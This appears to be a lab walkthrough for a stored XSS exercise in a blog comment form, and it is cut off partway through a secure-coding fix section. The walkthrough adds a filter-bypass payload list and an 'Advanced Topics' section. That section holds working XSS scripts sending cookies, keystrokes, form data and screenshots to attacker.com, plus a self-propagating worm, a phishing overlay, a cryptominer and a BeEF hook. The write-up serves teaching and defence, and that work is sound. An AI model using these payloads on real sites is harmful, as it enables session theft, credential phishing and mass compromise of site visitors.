Goal:
- ๐ Understand stored (persistent) XSS vulnerabilities
- ๐ฏ Identify vulnerable comment functionality
- ๐ Exploit lack of input sanitization and output encoding
- ๐ Inject malicious JavaScript into database
- ๐ Execute JavaScript for all users viewing the page
- ๐ก Learn how stored XSS differs from reflected XSS
- ๐๏ธ Trigger alert() function to prove exploitation
- โ Complete the lab with persistent XSS attack
๐ง Concept Recap
Stored Cross-Site Scripting (XSS) occurs when an application receives data from an untrusted source and includes that data in its later HTTP responses in an unsafe way. The malicious data is stored permanently (in a database, file system, or other storage) and executed whenever users view the affected page. This makes stored XSS more dangerous than reflected XSS because it affects all users who view the compromised content.
๐ The Vulnerability
What is Stored XSS?
Stored XSS Attack Flow:
Step 1: Attacker submits malicious input
โ
"<script>alert(1)</script>" โ Submitted via comment form
Step 2: Application stores input in database
โ
Database: comments table
โโโ comment_text: "<script>alert(1)</script>"
โโโ author: "Attacker"
โโโ timestamp: "2025-02-04"
Step 3: Victim requests the page
โ
User visits: /blog/post/123
Step 4: Application retrieves data from database
โ
SELECT comment_text FROM comments WHERE post_id = 123
Step 5: Application includes data in response (No Encoding!)
โ
<div class="comment">
<p><script>alert(1)</script></p>
</div>
Step 6: Victim's browser executes the script
โ
Browser parses HTML โ Encounters <script> โ Executes JavaScript โ ๏ธ
The Problem:
โโโ Malicious script stored permanently
โโโ Executes for EVERY user who views the page
โโโ No user interaction needed (unlike reflected XSS)
โโโ Can affect thousands of victimsStored vs Reflected XSS:
Reflected XSS (Previous Lab):
โโโ Payload in URL parameter
โโโ Immediate execution (same request/response)
โโโ Affects only users who click malicious link
โโโ Requires social engineering
โโโ One victim at a time
โโโ Example: /search?q=<script>alert(1)</script>
Stored XSS (This Lab):
โโโ Payload stored in database
โโโ Delayed execution (separate request)
โโโ Affects ALL users who view the page
โโโ No social engineering needed after initial injection
โโโ Multiple victims automatically
โโโ Example: Comment stored in DB โ Everyone sees it
Key Differences:
Persistence:
โโโ Reflected: Non-persistent (URL only)
โโโ Stored: Persistent (database/storage)
Attack Vector:
โโโ Reflected: Victim must click attacker's link
โโโ Stored: Automatic execution when viewing page
Scope of Impact:
โโโ Reflected: Single victim per link
โโโ Stored: All visitors to the page
Detection Difficulty:
โโโ Reflected: Easier to spot (in URL)
โโโ Stored: Harder to detect (in database)
Severity:
โโโ Reflected: Medium to High
โโโ Stored: High to CriticalVulnerable Code Pattern:
# Vulnerable Application (Conceptual)
# Step 1: Store comment without sanitization
def post_comment(request):
comment = request.POST.get('comment')
name = request.POST.get('name')
# โ DANGEROUS: Store unsanitized user input
db.execute(
"INSERT INTO comments (text, author) VALUES (?, ?)",
(comment, name) # No sanitization!
)
return redirect('/blog/post/123')
# Step 2: Display comments without encoding
def view_post(request, post_id):
comments = db.execute(
"SELECT text, author FROM comments WHERE post_id = ?",
(post_id,)
)
html = "<div class='comments'>"
for comment in comments:
# โ DANGEROUS: Direct output without encoding
html += f"<p>{comment['text']}</p>"
html += "</div>"
return HttpResponse(html)
What happens:
โโโ Attacker submits: <script>alert(1)</script>
โโโ Stored in DB: <script>alert(1)</script>
โโโ Retrieved from DB: <script>alert(1)</script>
โโโ Output in HTML: <script>alert(1)</script>
โโโ Browser executes: alert(1)
โโโ Every visitor gets attacked! โ ๏ธAttack Vector Breakdown:
The Payload: <script>alert(1)</script>
Injection Point: Comment form
โโโ Comment text field
โโโ Name field
โโโ Email field
โโโ Website field (any might be vulnerable)
Storage Location: Database
โโโ comments table
โโโ blog_posts table
โโโ user_profiles table
โโโ Any persistent storage
Execution Point: Blog post page
โโโ When any user views the post
โโโ When comments are loaded
โโโ Automatic execution
โโโ No additional user action needed
Impact Scope:
โโโ Admin views page โ Compromised
โโโ Regular user views page โ Compromised
โโโ Anonymous visitor views page โ Compromised
โโโ EVERYONE who views the page is affected!
Why it's more dangerous than reflected XSS:
โโโ One injection โ Multiple victims
โโโ Persistent attack
โโโ Harder to remove
โโโ Greater impact
โโโ Affects trust in websiteReal-World Stored XSS Scenarios:
Common Vulnerable Features:
1. Comment Systems
โโโ Blog comments (this lab)
โโโ Product reviews
โโโ Forum posts
โโโ Social media comments
2. User Profiles
โโโ Bio/description fields
โโโ Username display
โโโ Profile pictures (file metadata)
โโโ Social links
3. Message Systems
โโโ Private messages
โโโ Chat applications
โโโ Email web clients
โโโ Notification messages
4. Content Management
โโโ Blog post content
โโโ Wiki pages
โโโ News articles
โโโ User-generated content
5. File Uploads
โโโ File names displayed
โโโ File descriptions
โโโ SVG files (contain XML/scripts)
โโโ HTML file uploads
Each becomes a persistent attack vector if not properly sanitized!Real-World Impact:
What attackers achieve with Stored XSS:
1. Mass Cookie Theft
โโโ Script: <script>fetch('evil.com?c='+document.cookie)</script>
โโโ Impact: Steal sessions of ALL users
โโโ Result: Mass account takeover
2. Worm/Self-Propagating XSS
โโโ Script posts itself to more comments
โโโ Each victim becomes attacker
โโโ Viral spread across platform
โโโ Example: Samy worm (MySpace 2005)
3. Defacement
โโโ Replace page content for all users
โโโ Damage brand reputation
โโโ Insert political/malicious messages
โโโ Persistent until cleaned
4. Cryptocurrency Mining
โโโ Inject crypto-mining JavaScript
โโโ Uses CPU of all visitors
โโโ Passive income for attacker
โโโ Slows down victim browsers
5. Admin Compromise
โโโ Admin views infected page
โโโ XSS steals admin session
โโโ Attacker gains admin access
โโโ Full site compromise
6. Phishing at Scale
โโโ Inject fake login forms
โโโ All users see malicious form
โโโ Harvest credentials en masse
โโโ Trusted site used against users๐ ๏ธ Step-by-Step Attack
๐ง Step 1 โ Access Lab Environment
- ๐ Click "Access the lab" button
- ๐ Configure Burp Suite proxy (optional โ for traffic analysis)
- ๐ฑ Wait for lab environment to fully initialize
Lab interface:
Lab Environment
โโโ Blog/article website loads
โโโ Multiple blog posts visible
โโโ Each post has comment section
โโโ Navigation menu
โโโ Comment form at bottom of posts4. โ Lab is ready when page fully loads
Expected homepage:
Blog Homepage
โโโ Header/Navigation
โโโ Blog post listings
โ โโโ Post 1: Title + excerpt
โ โโโ Post 2: Title + excerpt
โ โโโ Post 3: Title + excerpt
โโโ "View post" links
โโโ Footer๐ Step 2 โ Navigate to a Blog Post
- ๐ Look for blog post listings on the homepage
- ๐ฑ๏ธ Click on any "View post" or blog post title link
Blog post selection:
Available Posts:
โโโ [View post] โ First blog post
โโโ [View post] โ Second blog post
โโโ [View post] โ Third blog post
โโโ Click any one to access
Typical URL structure:
/post?postId=1
/post?postId=2
/post?postId=33. โ You should now be viewing a single blog post
Blog post page:
Blog Post View
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Post Title โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ
โ Blog post content goes here... โ
โ Multiple paragraphs of text. โ
โ โ
โ Posted by: Admin โ
โ Date: 2025-02-04 โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Comments Section (Below Post)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ ๐ Leave a comment โ
โ โ
โ [Comment text area] โ
โ [Name field] โ
โ [Email field] โ
โ [Website field] โ
โ [Post comment button] โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Existing comments may appear above form๐ Step 3 โ Locate Comment Functionality
- ๐ Scroll down to the bottom of the blog post
- ๐ Find the "Leave a comment" section
Comment form structure:
Comment Form
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Leave a Comment โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ
โ Comment: โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ [Text area for comment] โ โ
โ โ โ โ
โ โ โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ
โ Name: โ
โ [________________] โ
โ โ
โ Email: โ
โ [________________] โ
โ โ
โ Website: โ
โ [________________] โ
โ โ
โ [Post Comment] โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Key observations:
โโโ Comment field: Large text area (main target)
โโโ Name field: Text input
โโโ Email field: Text input
โโโ Website field: Text input
โโโ All fields potentially vulnerableHTML structure (View Source):
<form action="/post/comment" method="POST">
<textarea name="comment" rows="5" cols="50"></textarea>
<input type="text" name="name" placeholder="Name">
<input type="email" name="email" placeholder="Email">
<input type="text" name="website" placeholder="Website">
<button type="submit">Post Comment</button>
</form>๐งช Step 4 โ Test for Input Storage and Reflection
Try a safe test comment first:
- โ๏ธ Click in the Comment text area
- ๐ Type:
This is a test comment - โ๏ธ Fill in Name:
TestUser - โ๏ธ Fill in Email:
test@test.com - โ๏ธ Fill in Website:
http://test.com - ๐ Click Post Comment
Observe what happens:
After submitting:
โโโ Page redirects or reloads
โโโ Comment appears on the page
โโโ Your comment is now visible:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ TestUser โ
โ โโโโโโโโโโโโโ โ
โ This is a test comment โ
โ โ
โ Posted: Just now โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Confirmation:
โโโ Comment was stored โ
โโโ Comment is displayed โ
โโโ Persists on page refresh โ
โโโ Visible to all visitors โVerify persistence:
Test 1: Refresh the page
โโโ Press F5 or reload
โโโ Comment still appears โ
โโโ Confirms: Stored in database
Test 2: Open in new tab/window
โโโ Navigate to same blog post
โโโ Comment appears there too โ
โโโ Confirms: Not session-specific
Test 3: View from different browser (optional)
โโโ Open in incognito/private mode
โโโ Comment visible โ
โโโ Confirms: Persistent storage๐ฌ Step 5 โ Test for HTML Encoding
Test with HTML special characters:
- โ๏ธ Create a new comment
- ๐ In the Comment field, type:
<test> - โ๏ธ Fill in Name:
TestUser2 - โ๏ธ Fill in Email:
test@test.com - โ๏ธ Fill in Website:
http://test.com - ๐ Click Post Comment
Analyze the response:
If properly encoded (SAFE):
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
TestUser2
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
<test>
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Browser displays: <test> as text
View Source shows: <test>
Result: Encoded = Not vulnerable โ
If NOT encoded (VULNERABLE):
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
TestUser2
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
(Nothing visible or broken HTML)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
View Source shows: <test>
Result: NOT encoded = Vulnerable! โ
How to verify:
โโโ Right-click โ "View Page Source"
โโโ Find your comment in the HTML
โโโ Look for: <test> (raw) or <test> (encoded)
โโโ If raw = Vulnerable to XSSIn this lab:
Expected result:
โโโ <test> appears as raw HTML in source
โโโ No encoding applied
โโโ HTML special characters not escaped
โโโ Vulnerable to stored XSS โ๐ฏ Step 6 โ Craft XSS Payload
The classic stored XSS payload:
<script>alert(1)</script>Why this payload works:
Payload Components:
<script>
โโโ HTML script tag
โโโ Tells browser to execute JavaScript
โโโ Self-closing or needs </script>
โโโ Browser's JavaScript engine activates
alert(1)
โโโ JavaScript function
โโโ Creates modal alert dialog
โโโ Argument: 1 (any value works)
โโโ Proof of JavaScript execution
โโโ Lab detection mechanism
</script>
โโโ Closing tag
โโโ Completes the script element
โโโ Proper HTML syntax
โโโ Ends JavaScript block
Execution Flow:
1. Payload stored in database
โโโ comment_text = "<script>alert(1)</script>"
2. Page loads and retrieves comments
โโโ SELECT comment_text FROM comments
3. Comments inserted into HTML
โโโ <div class="comment"><script>alert(1)</script></div>
4. Browser parses HTML
โโโ Encounters <script> tag
5. Browser executes JavaScript
โโโ Calls alert(1) function
6. Alert box appears
โโโ Proof of successful XSS โ
Alternative payloads that also work:
โโโ <img src=x onerror=alert(1)>
โโโ <svg onload=alert(1)>
โโโ <body onload=alert(1)>
โโโ <iframe src="javascript:alert(1)">
โโโ <details open ontoggle=alert(1)>
For this lab, use: <script>alert(1)</script>๐ Step 7 โ Inject Stored XSS Payload
Execute the stored XSS attack:
- โ๏ธ Scroll to the comment form
- ๐ In the Comment field, enter:
<script>alert(1)</script>3. โ๏ธ Fill in Name: Attacker (or any name)
4. โ๏ธ Fill in Email: attacker@evil.com (or any email)
5. โ๏ธ Fill in Website: http://evil.com (or any URL)
6. ๐ Click Post Comment
Form submission:
Comment Form Fields:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Comment: โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ <script>alert(1)</script> โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ
โ Name: Attacker โ
โ Email: attacker@evil.com โ
โ Website: http://evil.com โ
โ โ
โ [Post Comment] โ Click here โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
What happens internally:
โโโ Browser sends POST request
โโโ Server receives: comment = "<script>alert(1)</script>"
โโโ Server stores in database (no sanitization)
โโโ Page redirects/reloads
โโโ Comments retrieved and displayedโ Step 8 โ Verify Stored XSS Execution
After clicking "Post Comment":
Scenario 1: Immediate Execution
โโโ Page reloads after comment submission
โโโ Comments retrieved from database
โโโ Your malicious comment included in HTML
โโโ Browser parses the HTML
โโโ Encounters: <script>alert(1)</script>
โโโ Executes: alert(1)
โโโ Alert box appears immediately! ๐ฅ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ ๏ธ This page says: โ
โ โ
โ 1 โ
โ โ
โ [ OK ] โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
This proves:
โโโ JavaScript executed โ
โโโ Stored XSS successful โ
โโโ Payload persisted in database โ
โโโ Will execute for ALL future visitors โIf alert doesn't appear immediately:
Scenario 2: Navigation Required
โโโ Some labs require you to navigate back
โโโ Follow the lab instructions:
โโโ "Go back to the blog"
Steps:
1. Click browser back button
โโโ OR click "Back to blog" link
โโโ OR navigate to the blog post URL manually
2. View the blog post with your comment
โโโ Comments load from database
โโโ Your XSS payload loads
โโโ Alert appears! ๐ฅ
Why this happens:
โโโ Some apps redirect after comment submission
โโโ Redirect happens before comment display
โโโ Need to navigate back to see stored comments
โโโ Once viewed, XSS executesClick OK on the alert:
After clicking OK:
โโโ Alert closes
โโโ Page finishes rendering
โโโ Your comment visible on page
โโโ Lab system detected alert() execution
โโโ Lab may auto-complete now๐ Step 9 โ Lab Completion
Automatic verification:
Lab System Detection:
โโโ Monitors for alert() execution
โโโ Detects: Alert box was triggered
โโโ Validates: Stored XSS successfully executed
โโโ Checks: Payload stored and executed from storage
โโโ Marks lab as: SOLVED โ
Success Banner:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
Congratulations! โ
โ โ
โ You solved the lab: โ
โ Stored XSS into HTML context โ
โ with nothing encoded โ
โ โ
โ Lab Status: SOLVED โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโPersistence verification:
Test the persistent nature:
1. Refresh the page
โโโ Alert appears again! โ
โโโ Proves: Stored permanently
2. Open in new tab
โโโ Navigate to same blog post
โโโ Alert appears! โ
โโโ Proves: Affects all viewers
3. Open in different browser (if available)
โโโ Visit same blog post URL
โโโ Alert appears! โ
โโโ Proves: Not session-specific
This demonstrates:
โโโ Stored XSS persists
โโโ Every visitor gets attacked
โโโ No additional action needed
โโโ More dangerous than reflected XSS๐ Complete Attack Chain
Step 1: Access lab environment
โโโ Click "Access the lab"
โโโ Wait for blog site to load
โโโ Homepage with blog posts appears
โ
Step 2: Navigate to blog post
โโโ Click "View post" on any blog entry
โโโ Blog post page loads
โโโ Comment section visible at bottom
โ
Step 3: Locate comment form
โโโ Scroll to "Leave a comment"
โโโ Observe form fields:
โ โโโ Comment (text area)
โ โโโ Name (text input)
โ โโโ Email (text input)
โ โโโ Website (text input)
โโโ Comment form ready for input
โ
Step 4: Test normal comment
โโโ Enter: "This is a test comment"
โโโ Fill name, email, website
โโโ Click: Post Comment
โโโ Comment appears on page โ
โโโ Confirms: Storage and display work
โ
Step 5: Test for encoding
โโโ Submit comment: "<test>"
โโโ View page source
โโโ Check: Raw <test> or <test>?
โโโ Result: Raw <test> visible
โโโ No encoding = Vulnerable! โ
โ
Step 6: Craft XSS payload
โโโ Payload: <script>alert(1)</script>
โโโ Will be stored in database
โโโ Will execute for all viewers
โโโ Ready to inject
โ
Step 7: Inject stored XSS
โโโ Comment field: <script>alert(1)</script>
โโโ Name: Attacker
โโโ Email: attacker@evil.com
โโโ Website: http://evil.com
โโโ Click: Post Comment
โ
Step 8: Observe execution
โโโ Page reloads or redirects
โโโ Navigate back to blog post (if needed)
โโโ Comments load from database
โโโ Malicious comment included in HTML
โโโ Browser encounters: <script> tag
โโโ Executes: alert(1)
โโโ Alert box appears! ๐ฅ
โโโ Stored XSS confirmed! โ
โ
Step 9: Verify persistence
โโโ Click: OK on alert
โโโ Refresh: Page โ Alert appears again โ
โโโ New tab: Alert appears โ
โโโ Proves: Permanently stored
โ
Step 10: Lab completion
โโโ Lab system: Detects alert()
โโโ Validation: Stored XSS verified
โโโ Status: SOLVED โ
โโโ Success banner appears
โ
Step 11: Lab complete! ๐
โโโ Stored XSS vulnerability exploited
โโโ Malicious script persists in database
โโโ All future visitors will be affected
โโโ Stored XSS mastered!๐ Understanding Stored XSS
What is Stored XSS?
Stored XSS Definition:
A web security vulnerability where:
โโโ Malicious script submitted by attacker
โโโ Stored permanently (database/file system)
โโโ Included in later HTTP responses
โโโ Executed in browsers of all users who view it
โโโ Also called: Persistent XSS, Type-II XSS
Characteristics:
โโโ Persistent (survives server restart)
โโโ Affects multiple victims automatically
โโโ No social engineering needed after injection
โโโ Higher impact than reflected XSS
โโโ Harder to detect and remediate
โโโ Critical severity vulnerability
Storage Locations:
โโโ Database tables (comments, posts, profiles)
โโโ File system (uploaded files, logs)
โโโ Application cache
โโโ Session storage (less common)
โโโ Any persistent data store
Execution Triggers:
โโโ User views affected page
โโโ Admin accesses admin panel
โโโ Search results display stored data
โโโ Email client renders stored messages
โโโ Any retrieval and display of stored data
Severity: CRITICAL
โโโ Can compromise entire user base
โโโ Worm potential (self-propagating)
โโโ Mass data theft
โโโ Complete site compromise via admin attackHow Stored XSS Differs from Reflected XSS
Comparison Matrix:
โโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโ
โ Characteristic โ Reflected XSS โ Stored XSS โ
โโโโโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโค
โ Payload Location โ URL/Request โ Database โ
โ Persistence โ Non-persistent โ Persistent โ
โ Delivery Method โ Malicious link โ Normal browsing โ
โ Victim Count โ One at a time โ Multiple/all โ
โ Social Engineering โ Required โ Not required โ
โ Attack Complexity โ Simple โ Simple โ
โ Impact Scope โ Limited โ Wide โ
โ Detection โ Easier (in URL) โ Harder (in DB) โ
โ Severity โ Medium-High โ High-Critical โ
โ Cleanup โ None needed โ Requires DB edit โ
โโโโโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโ
Attack Scenario Comparison:
Reflected XSS:
1. Attacker crafts URL: site.com/search?q=<script>alert(1)</script>
2. Attacker sends link to victim (email/social media)
3. Victim clicks link
4. Victim's browser executes script
5. One victim compromised
Stored XSS:
1. Attacker submits comment: <script>alert(1)</script>
2. Script stored in database
3. All users who view the page are affected
4. No additional attacker action needed
5. Hundreds/thousands of victims compromised
Key Insight:
โโโ Stored XSS is "fire and forget"
โโโ One injection โ Ongoing attacks
โโโ Self-sustaining compromise
โโโ Greater ROI for attackersWhy "Nothing Encoded" is Critical
Encoding Explained:
HTML Encoding Converts:
โโโ < to <
โโโ > to >
โโโ & to &
โโโ " to "
โโโ ' to '
โโโ Prevents browser from interpreting as code
Without Encoding (This Lab):
Input Storage:
โโโ User inputs: <script>alert(1)</script>
โโโ Stored in DB: <script>alert(1)</script>
โโโ No transformation โ ๏ธ
Output Display:
โโโ Retrieved from DB: <script>alert(1)</script>
โโโ Inserted into HTML: <script>alert(1)</script>
โโโ No encoding applied โ ๏ธ
โโโ Browser interprets as executable code!
With Proper Encoding:
Input Storage:
โโโ User inputs: <script>alert(1)</script>
โโโ Stored in DB: <script>alert(1)</script>
โโโ (Can store as-is, encoding happens on output)
Output Display:
โโโ Retrieved from DB: <script>alert(1)</script>
โโโ Encoded for HTML: <script>alert(1)</script>
โโโ Browser displays: <script>alert(1)</script>
โโโ Displayed as TEXT, not executed โ
Critical Point:
โโโ Encoding MUST happen at OUTPUT
โโโ Not at input/storage
โโโ Context-specific encoding
โโโ Every output point must be encoded
โโโ Missing even one output = vulnerabilityCommon Stored XSS Locations
Vulnerable Application Features:
1. Comment Systems (This Lab)
โโโ Blog comments
โโโ Product reviews
โโโ Forum posts
โโโ Guestbooks
โโโ Feedback forms
Why vulnerable:
โโโ User-generated content
โโโ Displayed to many users
โโโ Often minimal validation
โโโ Rich text formatting allowed
2. User Profiles
โโโ Biography/About me
โโโ Display name
โโโ Profile picture alt text
โโโ Social media links
โโโ Custom profile fields
Why vulnerable:
โโโ Viewed by many users
โโโ Trusted content assumption
โโโ Profile pages often public
3. Private Messaging
โโโ Direct messages
โโโ Chat applications
โโโ Notification systems
โโโ Email web clients
Why vulnerable:
โโโ HTML rendering in messages
โโโ Trusted sender assumption
โโโ Limited security scrutiny
4. User-Generated Content
โโโ Wiki pages
โโโ Blog posts (user blogs)
โโโ Article submissions
โโโ Code snippets
โโโ File descriptions
Why vulnerable:
โโโ Allows HTML/formatting
โโโ Stored long-term
โโโ Viewed by many users
5. Search Features
โโโ Saved searches
โโโ Search history
โโโ Recent searches display
โโโ Search suggestions
Why vulnerable:
โโโ Search terms stored and displayed
โโโ Often overlooked in security review
6. File Uploads
โโโ Filename display
โโโ File metadata (EXIF)
โโโ SVG files (contain XML/scripts)
โโโ HTML file uploads
โโโ Document previews
Why vulnerable:
โโโ File data stored and displayed
โโโ SVG files can contain <script>
โโโ Filenames shown to users
7. Error Messages
โโโ Custom error pages
โโโ Validation errors
โโโ System logs displayed to users
โโโ Debug information
Why vulnerable:
โโโ User input reflected in errors
โโโ Stored in logs
โโโ Displayed to admins/users๐ฌ Advanced Topics
Self-Propagating XSS Worms
// Advanced: Self-Propagating Stored XSS
// Historical Example: Samy Worm (MySpace, 2005)
// This is educational - DO NOT use maliciously!
// Worm payload that posts itself in comments
<script>
// 1. Steal current user's session
var session = document.cookie;
// 2. Create new comment with this same payload
var payload = '<script>' +
'var s=document.cookie;' +
'fetch("/post-comment",{method:"POST",body:"comment="+encodeURIComponent(document.currentScript.innerHTML)});' +
'</' + 'script>';
// 3. Post the payload as a new comment
fetch('/post-comment', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'comment=' + encodeURIComponent(payload)
});
// 4. Every infected user posts the worm
// Result: Exponential spread across platform
</script>
How it spreads:
1. Attacker posts worm to one comment
โโโ 10 users view it โ 10 infected
2. Each infected user posts worm
โโโ 10 ร 10 = 100 users infected
3. Continues exponentially
โโโ 100 โ 1,000 โ 10,000 โ 100,000...
4. Entire platform infected rapidly
โโโ Within hours/minutes
Real-world impact:
โโโ Samy worm: 1 million MySpace profiles in 20 hours
โโโ Twitter worm (2009): Thousands infected
โโโ TweetDeck XSS (2014): Retweeted itself
โโโ Each demonstrates stored XSS severity
Prevention:
โโโ Proper output encoding
โโโ Rate limiting on actions
โโโ Content Security Policy (CSP)
โโโ Input validation (defense in depth)Bypassing Basic XSS Filters
// If <script> tag is filtered, try alternatives:
// 1. Image tag with onerror
<img src=x onerror=alert(1)>
// 2. SVG with onload
<svg onload=alert(1)>
// 3. Body tag with onload
<body onload=alert(1)>
// 4. Iframe with javascript: protocol
<iframe src="javascript:alert(1)">
// 5. Details/summary with ontoggle
<details open ontoggle=alert(1)>
// 6. Input with autofocus and onfocus
<input autofocus onfocus=alert(1)>
// 7. Marquee with onstart
<marquee onstart=alert(1)>
// 8. Video/audio with onerror
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
// 9. Case variations (if filter is case-sensitive)
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
// 10. HTML encoding (sometimes works)
<script>alert(1)</script>
// 11. Event handlers in various tags
<div onmouseover=alert(1)>hover me</div>
<button onclick=alert(1)>click me</button>
// 12. Using data: protocol
<object data="data:text/html,<script>alert(1)</script>">
// The lab with "nothing encoded" accepts basic <script>,
// but these alternatives are useful for bypassing filters
Exploiting Stored XSS for Maximum Impact
// Beyond alert(), real attacks do:
// 1. Session Hijacking (Cookie Theft)
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
url: location.href,
user: document.querySelector('.username')?.innerText
})
});
</script>
// 2. Keylogging
<script>
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/log?key=' + e.key + '&page=' + location.href);
});
</script>
// 3. Form Hijacking (Credential Theft)
<script>
document.addEventListener('submit', function(e) {
e.preventDefault();
var formData = new FormData(e.target);
fetch('https://attacker.com/steal-form', {
method: 'POST',
body: formData
});
e.target.submit(); // Submit normally to avoid suspicion
});
</script>
// 4. Cryptocurrency Mining
<script src="https://attacker.com/cryptominer.js"></script>
<script>
// Uses visitor's CPU to mine cryptocurrency
// Slows down their browser
// Generates passive income for attacker
</script>
// 5. Admin Account Takeover
<script>
// If admin views this comment, steal their session
if (document.querySelector('.admin-panel')) {
fetch('https://attacker.com/admin-cookie', {
method: 'POST',
body: document.cookie
});
}
</script>
// 6. Defacement
<script>
document.body.innerHTML = `
<h1>This site has been hacked!</h1>
<p>All your data belongs to us.</p>
<img src="https://attacker.com/hacker.jpg">
`;
</script>
// 7. Phishing (Fake Login Form)
<script>
// Inject convincing fake login form
document.body.innerHTML = `
<style>
.fake-login {
max-width: 400px;
margin: 100px auto;
padding: 20px;
border: 1px solid #ccc;
border-radius: 5px;
}
</style>
<div class="fake-login">
<h2>Session Expired - Please Login</h2>
<form action="https://attacker.com/phish" method="POST">
<input name="username" placeholder="Username" required><br><br>
<input type="password" name="password" placeholder="Password" required><br><br>
<button type="submit">Login</button>
</form>
</div>
`;
</script>
// 8. Redirecting to Malware
<script>
// Redirect all visitors to malware site
setTimeout(function() {
location.href = 'https://attacker.com/malware-download';
}, 3000); // Wait 3 seconds before redirect
</script>
// 9. Screenshot/Data Exfiltration
<script>
// Capture screenshot using HTML2Canvas
fetch('https://html2canvas.hertzen.com/dist/html2canvas.min.js')
.then(r => r.text())
.then(eval)
.then(() => html2canvas(document.body))
.then(canvas => {
canvas.toBlob(blob => {
var formData = new FormData();
formData.append('screenshot', blob);
fetch('https://attacker.com/screenshots', {
method: 'POST',
body: formData
});
});
});
</script>
// 10. BeEF Hook (Browser Exploitation Framework)
<script src="https://attacker.com:3000/hook.js"></script>
// Gives attacker full control over victim's browserStored XSS in Different Contexts
<!-- 1. HTML Context (This Lab) -->
<!-- Payload injected between HTML tags -->
<div class="comment">
<script>alert(1)</script> <!-- Executes directly -->
</div>
<!-- 2. Attribute Context -->
<!-- Payload in HTML attribute -->
<img src="user-input-here">
<!-- Attack: " onerror=alert(1) // -->
<!-- Result: <img src="" onerror=alert(1) //"> -->
<!-- 3. JavaScript Context -->
<!-- Payload in JavaScript code -->
<script>
var username = "user-input-here";
</script>
<!-- Attack: "; alert(1); // -->
<!-- Result: var username = ""; alert(1); //"; -->
<!-- 4. URL Context -->
<!-- Payload in href or src -->
<a href="user-input-here">Click</a>
<!-- Attack: javascript:alert(1) -->
<!-- Result: <a href="javascript:alert(1)">Click</a> -->
<!-- 5. CSS Context -->
<!-- Payload in style attribute -->
<div style="background: user-input-here">
</div>
<!-- Attack: red; } </style><script>alert(1)</script><style> -->
<!-- Each context requires different encoding! -->๐ก๏ธ How to Fix (Secure Code)
Fix 1: Output Encoding (Primary Defense)
# โ VULNERABLE - No output encoding
from flask import Flask, request, g
import sqlite3
@app.route('/post-comment', methods=['POST'])
def post_comment():
comment = request.form.get('comment')
name = request.form.get('name')
# Store in database (OK to store raw data)
db = get_db()
db.execute(
'INSERT INTO comments (text, author) VALUES (?, ?)',
(comment, name)
)
db.commit()
return redirect('/blog/post/1')
@app.route('/blog/post/<int:post_id>')
def view_post(post_id):
db = get_db()
comments = db.execute(
'SELECT text, author FROM comments WHERE post_id = ?',
(post_id,)
).fetchall()
# โ DANGEROUS: Direct output without encoding
html = '<div class="comments">'
for comment in comments:
html += f'<div><strong>{comment["author"]}</strong>'
html += f'<p>{comment["text"]}</p></div>' # VULNERABLE!
html += '</div>'
return html
# โ
SECURE - HTML encoding at output
from flask import Flask, request, render_template_string
from markupsafe import escape
@app.route('/blog/post/<int:post_id>')
def view_post_secure(post_id):
db = get_db()
comments = db.execute(
'SELECT text, author FROM comments WHERE post_id = ?',
(post_id,)
).fetchall()
# Encode output using escape()
html = '<div class="comments">'
for comment in comments:
# HTML encode each piece of user data
safe_author = escape(comment["author"])
safe_text = escape(comment["text"])
html += f'<div><strong>{safe_author}</strong>'
html += f'<p>{safe_text}</p></div>'
html += '</div>'
return html
# โ
EVEN BETTER - Use template engine with auto-escaping
@app.route('/blog/post/<int:post_id>')
def view_post_template(post_id):
db = get_db()
comments = db.execute(
'SELECT text, author FROM comments WHERE post_id = ?',
(post_id,)
).fetchall()
# Jinja2 automatically escapes {{ variables }}
return render_template('post.html', comments=comments)
# Template: templates/post.html
# <div class="comments">
# {% for comment in comments %}
# <div>
